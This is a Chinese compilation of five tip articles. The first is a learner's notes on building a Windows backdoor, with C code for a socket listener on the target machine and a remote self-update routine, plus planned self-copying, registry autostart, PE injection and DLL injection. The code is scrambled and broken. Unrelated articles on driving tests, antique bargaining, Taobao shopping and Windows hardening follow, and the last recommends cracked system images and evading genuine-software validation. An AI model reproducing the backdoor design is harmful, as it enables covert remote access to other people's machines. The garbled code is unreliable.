第一篇:windows后门程序的心得与小技巧
windows后门程序
目录
一.具体实现(已完成)
1.2.3.4.5.对话匡界面
弹框
按钮………………………………………………..2 窗口间消息…………………………………………………………………......2 编辑框:没有id?……………………………………………………………2 窗口重绘必须立即完成:……………………………………………………….2 创建线程(beginthreadex为何未定义?)…………………………………………2
6.c/s聊天……………………………………………………………………3 7.获取本机ip…………………………………………………………………7 8.9.向本机自动更新
(留后门)………………………………………………8 域名转换函数………………………………………………………、……12 10.去除http协议响应头…………………………………………………12
二.未完成…………………………………………………………….13 三.心得体会…………………………………………………………..14 套接字收发整形数据C库函数与windows函数,.代码量与可移植性
套接字接收缓冲区应该大一些? .套接字接收绑定 自动补充路径
域名转换ip
一. 已完成
1.对话匡界面
弹框
按钮
hbut2=CreateWindow(TEXT(“edit”),NULL,WS_CHILD|WS_VISIBLE|WS_BORDER|BS_TEXT,10,30,100,25,hwnd,(HMENU)3,hinst,NULL);hbut3=CreateWindow((“button”),(“
发
送”),WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,300,300,100,30,hwnd,(HMENU)2,hinst,NULL);
2.窗口间消息
SendMessage(hwnd,WM_PAINT,wparam,lparam);3.编辑框:没有id?
GetWindowText(hbut2,str_buf,10);得到文本 //GetDlgItemText(hbut2,3,str_buf,10);得到空?
4.窗口重绘必须立即完成:
UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);5.创建线程(beginthreadex为何未定义?)
int WINAPI threadproc(sock_block* dwtherdparam){ } HANDLE initthread(sock_block* dwtherdparam){
DWORD threadid;//_beginthreadex???未定义????? dwtherdparam->dwrd=NULL;dwtherdparam->addr=“192.168.127.0”;dwtherdparam->honst=NULL;HANDLE h_thread=(HANDLE)CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam, 0, &threadid);return 0;return h_thread;} 6.c/s聊天
通过将目标机设置能服务器,本地机设置成客户端来实现,具体是目标创建线程,来开放端口 监听套接字,(将目标设置成服务器是因为 服务器可以长时间运行 能够满足客户端随机登陆的要求 并且性能消耗不大)。
服务器用两个并行线程来实现发送与接收,发送被设置在了窗口主线程内,接收则与监听等都在新线程内。
窗口通过按钮触发发送,接收则通过selsect()阻塞/唤醒机制实现异步。
通过这个功能,得到一些结论,一个进程能不同线程间通信等需要很多全局变量,这些变量能够被不同线程使用,不过这使得线程间通信的唯一一个指针变量变得奇怪(多余),可能当线程间通信内容与线程复杂度不同时,这个指针变得更方便些。
问题:将目标设置成服务器不能得到目标的ip,与本客户端不能建立连接(难道要再加一个本地服务器端
通过目标客户端发送ip?)
线程函数的写法:
int WINAPI threadproc(sock_block* dwtherdparam){
WSADATA wsaData;SOCKADDR_IN seraddr,cliaddr;ULONG sockmode;int sockok,totalsock=0;int i=0,j=0;struct fd_set fdwrite,fdread;//char buf[10],buf0[10];sock_buf a,flag;a.a=new char[50];flag.a=new char[50];int buflen=sizeof(flag.a);//int BUFLEN =sizeof(buf);int addrlen=sizeof(seraddr);int cliaddrlen=sizeof(cliaddr);//long code;int b=0,k,l,m;char *temp=new char[50];//本想用于循环接收暂存的但是接收缓存变大即可 seraddr.sin_family=AF_INET;seraddr.sin_port=htons((short)dwtherdparam->honst);//seraddr.sin_addr.s_addr=inet_addr(“127.0.0.1”);seraddr.sin_addr.s_addr=inet_addr(dwtherdparam->addr);if(WSAStartup(MAKEWORD(2,0), &wsaData)!= 0){
} if((listensocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)printf(“error1”);return-1;
{
} if(SOCKET_ERROR==bind(listensocket,(SOCKADDR*)&seraddr,addrlen)){
}
if(SOCKET_ERROR==listen(listensocket,5)){
} printf(“wait ask”);sockmode=1;
if(SOCKET_ERROR==ioctlsocket(listensocket,FIONBIO,&sockmode)){
} printf(“error on ioctl”);return-1;printf(“error4”);return-1;printf(“error3”);return-1;printf(“error2”);return-1;
while(1){
FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(listensocket,&fdread);
for(i=0;(i } if(SOCKET_ERROR==(sockok=select(NULL,&fdread,NULL,NULL,NULL))){ } if(FD_ISSET(listensocket,&fdread)){ sockok--;printf(“error on select”);return-1;FD_SET(tempsocket,&fdread);FD_SET(tempsocket,&fdwrite); } if(INVALID_SOCKET==(newconnection=accept(listensocket,(SOCKADDR*)&cliaddr,&cliaddrlen))){ } else { } if(SOCKET_ERROR==ioctlsocket(newconnection,FIONBIO,&sockmode)){ } printf(“error on ioctl”);return-1; tempsocket=newconnection;dwtherdparam->cin_flag=1;printf(“come”);totalsock++; printf(“error5”);return-1; if(FD_ISSET(newconnection,&fdread)){ memset(flag.a,0,buflen);memset(temp,0,buflen); dwtherdparam->strin=' '; for(k=0 ,l=0,j=0;(j=recv(newconnection,flag.a,buflen,0))>0;){ if(j<0) { // } for(k+=j,m=0;l printf(“error on recv long”);return-1;break; } } { temp[l]=flag.a[m];temp[l+1]=' ';} } dwtherdparam->strin=temp; UpdateWindow(hwnd); InvalidateRect(hwnd,NULL,TRUE);memset(flag.a,0,buflen);if(FD_ISSET(newconnection,&fdwrite)){ sockok--;if(dwtherdparam->cin_flag){ } a.a=dwtherdparam->strout; if((b=send(newconnection,a.a,buflen,0))<0){ } printf(“error on send”);return-1;} } closesocket(listensocket);closesocket(newconnection);closesocket(tempsocket);WSACleanup();return 0;HANDLE initthread(sock_block* dwtherdparam){ DWORD threadid;//_beginthreadex???未定义????? dwtherdparam->addr=“127.0.0.1”;dwtherdparam->honst=8889;dwtherdparam->cin_flag=0;HANDLE h_thread=(HANDLE)CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam,0,&threadid);return h_thread;} 7.获取本机ip char name[255];//用于存放主机名 PHOSTENT hostinfo; if(gethostname(name, sizeof(name))== 0) { //判断是否成功的将本地主机名存放入由name参数指定的缓冲区中 if((hostinfo = gethostbyname(name))!= NULL) { //如果获得主机名成功的话,调用inet_ntoa()函数取得IP地址 LPCSTR ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list); printf(“本机的IP地址是:%sn”,ip);//输出IP地址 printf(“本机的名称是:%sn”,name); } } 8.向本机自动更新 (留后门) 发送询问 得到版本号 与文件大小(得到这个文件大小不一定会用到 但是 为了后面下载主文件更顺利,这点牺牲是值得的)比对之后决定更新 发送更新请求 接收文件 int chack_update(SOCKET &scon,FILE *&fp_file_info,char*& bufout,NEW_FILE_INFO &new_file_info){ 当不需更新时会浪费,} //send 询问 //接收版本号 // 对比 float host_v=0;new_file_info.new_version=0;if((fp_file_info=fopen(FILE_INFO_PATH,“rb+”))<0){ } if(fscanf(fp_file_info,“%f”,&host_v)<=0){ } bufout=“q”;if(send(scon,bufout,1,0)==SOCKET_ERROR){ } if(recv(scon,new_file_info.buf,BUFLEN,0)==SOCKET_ERROR){ } MessageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MessageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MessageBox(hwnd,“update error at read file”,ERROR,MB_OK);return-1;MessageBox(hwnd,“update error at open file”,ERROR,MB_OK);return-1;if((host_v)&&(new_file_info.new_version==host_v)){ } else return 0;return 1;int update_(SOCKET &scon,FILE *& fp_file_info,FILE *&fp_main_file,char*& bufout,char *&bufin,NEW_FILE_INFO &new_file_info){ // 更新版本信息文件ini //send请求下载 // // // recv copY文件替换旧的 write日志(包括时间 版本 备注 短短几句话) } int end_update_(SOCKET &scon,FILE *&fp_file_info,FILE *&fp_main_file,char*& bufin){ __try { if(fp_file_info){ fclose(fp_file_info);bufin=new char[new_file_info.new_file_len]; memset(bufin,0,new_file_info.new_file_len);//初始化缓冲区 bufout=“g”;//get main if(send(scon,bufout,1,0)==SOCKET_ERROR){ } MessageBox(hwnd,“update error at send g”,ERROR,MB_OK);return-1;if(!(fp_main_file=fopen(FILE_MAIN_PATH,“wb+”))) //打开已有或创建一个二进制文件 { } MessageBox(hwnd,“update error at open main file”,ERROR,MB_OK);return-1;if(recv(scon,bufin,new_file_info.new_file_len,0)==SOCKET_ERROR)//接收主文件 { } MessageBox(hwnd,“update error at recv main file”,ERROR,MB_OK);return-1;if(fwrite(bufin,new_file_info.new_file_len,1,fp_main_file)<1){ } rewind(fp_file_info);if(fprintf(fp_file_info,“%f”,new_file_info.new_version)<1){ } return 0;MessageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1;MessageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1; } } } if(fp_main_file){ } if(scon){ } if(bufin){ } delete(bufin);closesocket(scon);WSACleanup();fclose(fp_main_file);__finally { } return 0;return-1;int update_main(){ if(initsock(scon)!=0){ } p2=“正在初始化”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);int n=0;if((n=chack_update(scon,fp_file_info,bufout,new_file_info))==0)MessageBox(hwnd,“更新初始化失败”,“门”,MB_OK);return-1;SOCKET scon;FILE *fp_file_info,*fp_main_file;fp_file_info=fp_main_file=' ';char *bufin=' ',*bufout=' ';NEW_FILE_INFO new_file_info; } { p2=“需要更新”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE); } else if(n==1){ end_update_(scon,fp_file_info,fp_main_file,bufin);MessageBox(hwnd,“已经最新了2b”,“2b啊”,MB_OK);p2=“完~”;UpdateWindow(hwnd);if(update_(scon,fp_file_info,fp_main_file,bufout,bufin,new_file_info)==0) else { } end_update_(scon,fp_file_info,fp_main_file,bufin);MessageBox(hwnd,“更新失败,请检查网络”,“门”,MB_OK);return-1; MessageBox(hwnd,“更新成功”,“门”,MB_OK);InvalidateRect(hwnd,NULL,TRUE);} else { } if(end_update_(scon,fp_file_info,fp_main_file,bufin)!=0){ } return 0; return-1;end_update_(scon,fp_file_info,fp_main_file,bufin);return-1;return-1;9.域名转换函数 HOSTENT *remot; remot= gethostbyname(“img.ivsky.com”);//获得域名的ip if(remot==NULL){ DWORD er=GetLastError(); } return-1;in_addr pttr;memcpy(&pttr,remot->h_addr_list[0],4);//复制域名转换得到的ip到新定义的地址变量中,这是不可或char *ip=inet_ntoa(pttr); //将存储顺序修改为net 缺的,因为可读性好,且正确 addr.sin_addr.s_addr = inet_addr(ip);// 填充ip地址 10.去除http协议响应头 int delete_http_header(SOCKET s,char *strBuffer,int &body_lenght) { //返回当前文件主体的位置 for(int break_flag=0;break_flag==0;){ // //去除http响应头部 strset(strBuffer,' '); // int iResult = recv(s,strBuffer,BUFLENGHT,0);if(iResult<=0){ } for(int i=0;(i if(strBuffer[i]=='C'){ } if(end_flag==4){ return } if((strBuffer[i]=='r')||(strBuffer[i]=='n')){ i;if(strBuffer[i+9]=='e'){ } body_lenght=atoi(&strBuffer[i+15]); iResult=GetLastError();break;iResult = recv(s,status,sizeof(status),0);int end_flag=0;//头结束 } } } } end_flag++;continue; end_flag=0;二.未完成 复制自身 后修改注册表自启动 融合(聊天,更新,查ip,窗口间通信) Pe文件注入代码,(需要汇编??内存映射文件??)pe文件有效性 dll注入 弹窗聊天(完成端口?俩线程?多个客户端连接??) Strcpy? 三.心得 套接字收发整形数据的时候,因为缓冲区是char*型,所以可以用一个联合体来解决。 union{ char a[sizeof[int]]; int b; } C库函数与windows函数, 考虑到今后移植linux系统,尽管windows系统函数在windows中运行效率更高,但是权衡之后还是尽量采用c库函数(例如文件操作) .代码量与可移植性 在这几个小程序中,因为是探索未知性的编写,所以对可移植性与可读性的要求不高,增加可移植性会相应增加代码量,这不是这几个小程序应该做的,当将这些技术掌握成熟的时候,会再积累可移植代码的。 套接字接收缓冲区应该大一些? 曾经接收的缓冲区是固定的且不很大,那么接收大文件的时候就要循环接收多次,每次都写文件,直到文件接收完全。 那么提前得知文件大小,将缓冲区直接设置成文件大小呢?只需写一次文件就可以了,能否提高效率并且保证安全性(文件太大 丢包 写入错误等) 这也是为了降低代码量与复杂度。。 .套接字接收绑定 bind可以在同一个ip下绑定多个端口 互不影响。 自动补充路径 系统编译的时候就需要进行字符串的检查 发现 ’ ’ 则检查后面一位字符,当不是特定字符的时候,编译不能通过,所以不必也不能用程序来补充路径。 域名转换ip 域名直接使用”www.xxx.xx”就可以,不必也不能写http://www.xx.xx/; 路训,技巧 起步,踩离合打火,打灯踩离合挂一档,右手放到手刹上,看左镜,松离合到半联动放手刹,跟油慢松离合,等车跑至五米左右,踩死离合换2挡,慢抬离合跟油 变道,打左右灯,看镜三秒钟并道,回灯 遇红灯,先减档四档变三档,到第二个转向箭头时打灯,向左转可用三档,当车头到斑马线时转弯。向右转,到第一个箭头换二档。遇到红灯离合踩到底,慢踩刹车,停住后,换一档,离合抬到半联动处,等候先跟油在慢抬离合,踩死离合换二档。跟油,换三档。侧位停车,技巧 踩离合到底,挂倒车档,松手刹,慢抬离合控制速度,看后面左前杆到小窗一半处,向右打死方向盘,看左镜右后杆出现在左镜时,会整方向盘,看雨刷器夹角处,向左打死方向盘,车方向水平时,回正方向,调好位置,踩刹车停车。离合踩到底,挂一档,半联动处,向左打死方向盘,看雨刷位置(雨刷与左前杆夹角)回正,看右前杆与右小窗眼睛三点一线时向右打死方向,车调整好位置是回正,踩刹车停车。 铲货心得与技巧 记得老刘曾经在某个贴子中说过,手里所收藏之物,皆由县乡村一线铲货得来。从来没从大中城市古玩市场买过东西。雅昌论坛上有不少铲子,但是老刘这个铲子和他们不同,那就是只收不卖,只进不出。多少年过去了,一直是这样。以前收了不少的假圪蛋,缴了相当多的学费。现在假圪蛋大多白送了朋友们,有多少钱打了水漂。这当然有些心痛,可这总比国宝帮那些人,天天搂着大堆的假圪蛋自欺欺人好些吧?嗬嗬。咱书归正传,不再闲弹麻子咯。说点正经的,给藏友们传授点真东西:老刘的铲货心得。 有人说,现在已经无漏可捡了,老刘说,甭听这样的瞎忽悠,只要你的心力足够强大,眼力足够高明,那就一切皆有可能。只要是古玩成堆之处,皆有大漏小漏、半大不小的漏们等待着你去发现,你去捡。在这样的空间里有无言等待的珍宝,只是缺少发现它们的慧眼。慧眼是怎么练成的涅?不是诸葛亮教给你的。只能自己一步步去实践,去感悟。这个过程非常简单,就是买一次假货,割一次肉,割痛了也就学了一招。这样集少成多,聚沙成塔,久而久之,一个相对而言比较高明的铲子也就练成咧。 既然称之为铲子,从何处铲货呢?老刘的铲货地点相对固定,县城一级:本人居住地A,和周边的B、C、D几个邻县的大小古玩店。这些古玩店进了什么货?有什么样的变化?时时巡视一番,一旦发现了东西,立刻设法拿下。乡村一级的铲子有十几位,他们有吃公家饭的,也有普通农民。这些人家里一般放了许多杂七碎八的新老东西,也要经常走动查看。时有发现,及时铲货。从这个意义上来讲,我是个二线铲子。当然在省市一级,还有三线铲子,这些铲子们也有我的朋友,他们时不时地想来和我铲货,一般都被我拒绝了。久而久之,他们便不再纠缠,知道纠缠也无用,老刘一概不卖。为何不卖?因为现在古玩行情不好,乡下民间真古玩的资源日渐枯竭,此时再不多往手里搂把点,再往后恐怕连喝汤都轮不着咱了。那只有到拍卖场上挨宰的份。哈哈,走题了。 在乡间铲货,碰地雷挨炸是最平常的事情。但是日子一久,挨打记数,地雷们也就失去了作用。和乡下铲子打交道是非常讲究技巧的。 其一:到了铲子家,千万不能手里拿个放大镜到处瞎照。记得有一次我和两个藏友到相领的B县铲子家去铲货,只要你一拿放大镜细瞅,则该件东西立马涨价。 其二:不可轻易伸手拿货,而是要先用眼睛扫视一番。一双久经磨练的眼睛扫描过之后,隐藏在大量普品破货之中的真货甚至是珍品一定会让你头脑兴奋起来。这个货就是你将要猎取的目标,起码也是疑似目标。下一步就是上手确认。 其三:如何上手?这个铲货上手,里面也有大讲究,你有了既定的目标之后,脸上表情不能有显著变化,而是要不动声色,一步一步地来。譬如你的目标是A,但是你不能一下子就先拿起A,而是要拿起B或者C来进行佯买。一番激烈讨价还价之后,双方无法取得一致。这时你装着漫不经心地拿起了A,也就是你的目标,打量一番随手放下。继续侃C或者B,谈则不成,无奈之下,随手拿起了A,这时铲子的心力已疲,价钱也软下来了。他说的价钱一出口,你立马掏钱,闪电一般达成了交易。紧接着再打下一个目标,由于你初战已胜,铲子出价也不会太高…… 其四:拖刀计和回马枪:乡下铲子的本事当然十分了得,不可小视。有的时候,因为价钱闹僵了,这时候就得使拖刀计。即立马抬脚走人,佯装不买了。这时候,急于成交的铲子有时也会尾追上去。这样拖刀计就完成了。但是有的铲子就是不搭理你这一套,也不出门追你。这时候该怎么办?难道说就不买了?还是要买滴。过了一会儿(三五分到十来分钟),你杀个回刀枪再去讲价,有时候这个价钱一般也会降下来。这样也就达到了杀回马枪的目的。 乡下铲货技巧大略如此。但是乡下铲货,好货非常少,放空手的时候挺多,因为随着时间的推移,你的眼力在一步步提高,那些个烂货普货已经不再进入你的法眼,你开始寻找更好的目标,这样县城一级的古玩店,便是你练眼实践的真正战场。也是你作战的主要阵地。下面谈谈在县城一级古玩店买货的技巧。 古玩店和乡下铲子家相同一地方就是有不少各类古玩,但是县城一级古玩店里摆的货要多一些。林林总总,花样不少。不同的古玩店有不同的经营方式和侧重面。这看古玩店老板的经营主项是什么?有的偏重于木器,则木器摆了许多,有的侧重瓷器,则瓷器摆在最显著位置,如此等等,不一而足。 一个眼力经过大量实践锻炼的铲货高手,和一个没有多少经验的普通人进了古玩店,他们的感受绝对不是一样的。没有经验的人进了古玩店,在他的面前呈现出来的是一片古玩的海洋,在里面分不清哪只是鱼哪只是虾。而在铲货高手的眼里,任何一个古玩店就只有少数的靓点。古玩店里面的货,除了略分为真、破、假、新四种之外,在行家眼里,其中的真货,有时也分为明货与暗货。所谓明货,也就是开门真品,店家心气高,定价也高。如果要买它们的话,那是石头砸磨扇,硬碰硬的事情。不出大价钱,肯定无法拿下。这样你的目光便是在寻找暗货。所谓的暗货,就是那些属于店老板经营短板和弱项的货。或者说是刚刚收来之后不久,还没有经过详细研究的东西。这种货,或者是表面看起来不太开门,造型外观似是而非,年代弄不太清楚。总而言之是经营者不太看好的东西。当然这类东西现在是非常少的,但是也不能说绝对没有。 因为任何一位店铺经营者,他的学识水平都是有限的,也不可能把自己店里的货全部闹清楚。这个没有闹清楚的货,甚至是被看成是假东西的货,有时候就是真品暗货。而那些带明显纹饰和字款的明清瓷器、五大名窑之类,则基本上不存在出现暗货的可能性。而要想从一家古玩店铲到真货,你做为买家,基本的做法就是示弱原则。因为只有示弱而不是示强,才能让店老板放松警惕性。特别是在相对而言陌生的店里,一定要装做不太懂,这样才能有机会上手真品暗货。 对于居住地的古玩店,示弱已经无用。这时候你也不必拿酸摆臭地装狗熊样子。而是要和老板交朋友。这个交朋友,就是一定要在经济方面过得硬。不成交归不成交,而一但成交了,就要毫不含糊地如数付钱。这样通过生意往来,彼此取得信任。心交心的关系,便是下一步捡到暗货的必要条件。而寻找高价值的暗货目标,有时候需要示弱,大多数的情况之下也需要等和拖。在等和拖的过程之中寻找到突破口。譬如有些东西表面看起来属于明货,但是老板对行情了解不如你透彻,他的心理价位与真正的物品价值有一定的距离,这时候机会也就来了。这种东西可以趁机购买。在等与拖之中,有时店家手头上周转偏紧,抑或心情不好,想把东西尽快出手,此时也是出手购买的绝好机会。任何一家经营比较好的古玩店,都必须经常进出货物。这样便会出现新进的货。而新进的货有时店老板看的不太深,这样的东西说不准便会是漏。其实所谓的漏,有的时候就是信息不太对称造成的。有时也可能是认识水平不一样造成的。总而言之是有漏可捡。再高明的古玩店老板,只要卖东西,必然会产生卖漏的现象。不卖漏是不可能的。而在交易价钱上硬碰硬的过程之中,表面上看起来是花了大价钱,其实只要是买到了真精稀的东西,靠着时间生利,最后赢家还是买家。 前面说到,古玩店里的货有明有暗。购买暗货的风险极大,所以非学识和心力高者所不能为之。因为你要买这件货,而它一定是店老板所未看透的东西,这种东西也往往是不太开门的。就像是一块和氏璧,外表是石头而里面却是美玉。如果你的心力能够达到这个层次,你就能够发现这里面的奥妙。如此这般,你用不太高的价钱拿下,回家几经研究,发现它是件宝贝……这种可能性并不是没有。但是非常少见,甚至是罕见。因为商业原则永远是卖的要比买的明白。卖家对于东西的来龙去脉心里十分清楚,而买家却身在五里雾之中。所以一般人也不要有这种非份之想。 铲货者与古玩店老板的关系也十分有意思,既是朋友又是对手。你在心里猜他的心思,他也在暗暗猜乎你。面对一件东西,两个人心里都挺明白,但就是不往明了说。你装糊涂我也装糊涂,只是局外的人看不太明白。 县城这一级古玩店的经营者,原来基本上就是普通的铲子。只是因为手头铲的货多了,就开了店。因此对于在县城古玩店里铲货,其技巧和在乡下铲货大同小异。开店的优势还在于收上门货。十字路口等大象,有些人会主动送货上门。店家便会趁机下压价收下。大多数的银元,都是主动送来的,而你到村里去收,人家根本不承认有这个东西。 在生意场上,买卖双方进行价格上的博弈,这是无可厚非的行为,并不存在谁欺诈谁的问题。买家看走了眼,你是活该。卖家卖漏了货,算你倒霉。两相情愿,谁也不欠谁的。所以从这一点上来说,老刘多年以来铲货,没有一个反目成仇的。 铲货者的粗线条常识和预见性,是捡到大漏的必要条件。比方说我前不久刚刚买的一个大个头红木笔筒。我在乡下铲子家一共见了三个红木笔筒,说实在的,我都没有看出是何种木质。其中的一个,为何我要拿下?这个笔筒黑不溜秋的样子,但其木性是拧丝状的,木纹在岁月包浆的掩护之下看不太清楚。我因为在头脑之中有一个常识,这种木纹的笔筒,其质量又沉重,它非紫即黄。我当即决心拿下来了。此后当然有好多人并不太看好。但是我却不为流言所动,坚信自己的眼力不会犯错。上传到木版之后,先后的砸砖评语有:中地雷了,假的,如此等等。我在家里天天用手盘玩。三天之后,莹光盘出来了,虎皮纹也盘了出来。在光润的包浆之下,看到了微小的闪烁金星……不用说,这个笔筒就是个重器宝贝。 淘宝刚开张我就在那儿注册了,等到有了支付宝,我才开始在淘宝购物,并迷上了网络购物。因为淘宝,我几乎不逛商场,很多商场销售的商品都差不多,甚至完全一样,根本没有特色。逛街购物又麻烦又累,常常要提着东西跑来跑去。逛街购物成本也高,来去的车费,饮料、吃饭的钱加起来都超过要买的东西的价格,商店里的东西往往比网上的要贵很多。最倒霉的是,有时忙一整天都找不到想买的东西。商店购物退换商品也不如网上方便,至少要自己再去商店跑得来回。 在网上购物情况就完全不同:我能非常快速准确地检索到我需要的商品,货比三家再挑性价比最高的、付费后只要等快递送货上门就行了。如果是送亲友礼物,只要网上买好直接让快递到亲友那儿就完成了。如果货物不对,要退换也很容易,不用再跑去那家商店在网上就可以解决。如果遇到有趣的店主,大家还能交个朋友。遗憾的是淘宝上没有新鲜蔬菜卖,否则我连去菜场的力气都可以省了。 对于熟悉网购的人是非常享受网购的乐趣,而如果要从来没有网购经验的人尝试网上购物,人们的第一反应往往是会不会受骗?买家有很多办法可以保护自己,关键在于如何查看店主信誉、挑选商品、确认交易内容和付费、收货和评价。到目前为止,我在网上完成的交易超过2000笔,极少有被骗的经历。我就分享一下我的经验吧。 一 店主信誉 淘宝有店主信用评价体系,于是很多新人在没有经验的情况下就先挑选信用度高的卖家。这就造成一些不良店主炒作信用。 识别店主信用记录是否真实很简,查阅店主开业时间和最早的信用交易记录,看成交商品是什么、成交商品的价格、交易时间和购买者的用户名及信用度。店主如果开业时间很短,但信用度很高,你就要关心一下店里卖的是什么。比如价格比较贵的东东且不是生活必需品,一般是不可能在短期卖到疯狂的。有的店主会在开业时卖些充值卡或小东西以提高信用度。如果你查看的成交商品与商店主营商品无关、或与你要购买的商品无关,那么交易信用再真实对你也没有任何意义。成交商品的价格偏低或者索性是块儿八毛的东东,或者是同个商品一买一大堆,那么就有可能是炒作信誉。如果大量商品都是在较短时间大批成交,而买家的用户名是些乱哄哄的字母或数字,买家信用很低,给的评价特别肉麻,那么基本可以断定是炒作的信用。从以上几个方面,只要看一两页最早的信用记录就可以判断店主信用度的真实性。 其实,新开张的店优惠更多。在你想购买特色商品时,信用最高的店未必是最佳选择。大家都知道新开业的艰难。有能力的网友不妨给新开业的店主一点机会和鼓励。 内容来源 Window系统安全技巧 系统光盘个人比较喜欢使用雨林木风安装版或者GHOST版,纯净无插件,破解和优化得都比较好。使用电脑公司装机版也可以,番茄花园以前做得不错,现在的版本插件比较多,且界面不是很喜欢。 (1)系统安装完后,做个纯净版的ghost备份,可以使用MaxDos或者矮人DOS工具箱。以备以后系统出问题可以快速恢复到纯净系统,节省安装系统时间,(使用安装版安装系统需要时间大约45分钟,恢复系统时间只需10分钟左右)。 (2)在连接网络之前先安装杀毒软件,连接网络后将杀毒软件更新到最新。个人比较喜欢NOD32(占用系统资源小,杀毒速度快,防护能力强)或者卡巴斯基(主动 防御很强,杀毒能力强,但是杀毒速度很慢,占用系统资源较大);感觉江民还可以,尤其不喜欢瑞星和金山,并非不支持国产,瑞星我觉得除了界面还可以之外,其他的优点没有什么感觉,金山感觉能力平平。 (3)打上最新的系统补丁,建议用手动安装版,安装速度快。将IE升级到IE7.0。将系统更新方式更改为“手动”,防止安装windows正版验证程序。 (4)安装好常用的软件。个人比较喜欢雨林木风下载,无插件,破解比较完美。建议使用魔法兔子或者优化大师,方便以后对系统进行维护。 (5)修改注册表启动项(run、runonce等),删除不必要的随系统启动的程序,以节省系统开机时间、系统资源、系统关机时间。并关闭run项的设置权限,可以使大部分木马程序失去作用。(必做) (6)删除不必要的服务。以节省系统资源及开机时间。(必做) (7)设置系统组策略。如无局域网可以关闭网络访问;关闭自动播放功能。(必做) (8)屏蔽TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口。减少给黑客入侵的机会。(推荐) (9)最后做个ghost备份镜像,用于以后万一系统出问题时恢复系统,可以免去安装软件,设置系统麻烦,所需时间大约是10分钟。第二篇:学车心得与技巧总结
第三篇:铲货心得与技巧
第四篇:淘宝购物心得与技巧
第五篇:Windows系统安全技巧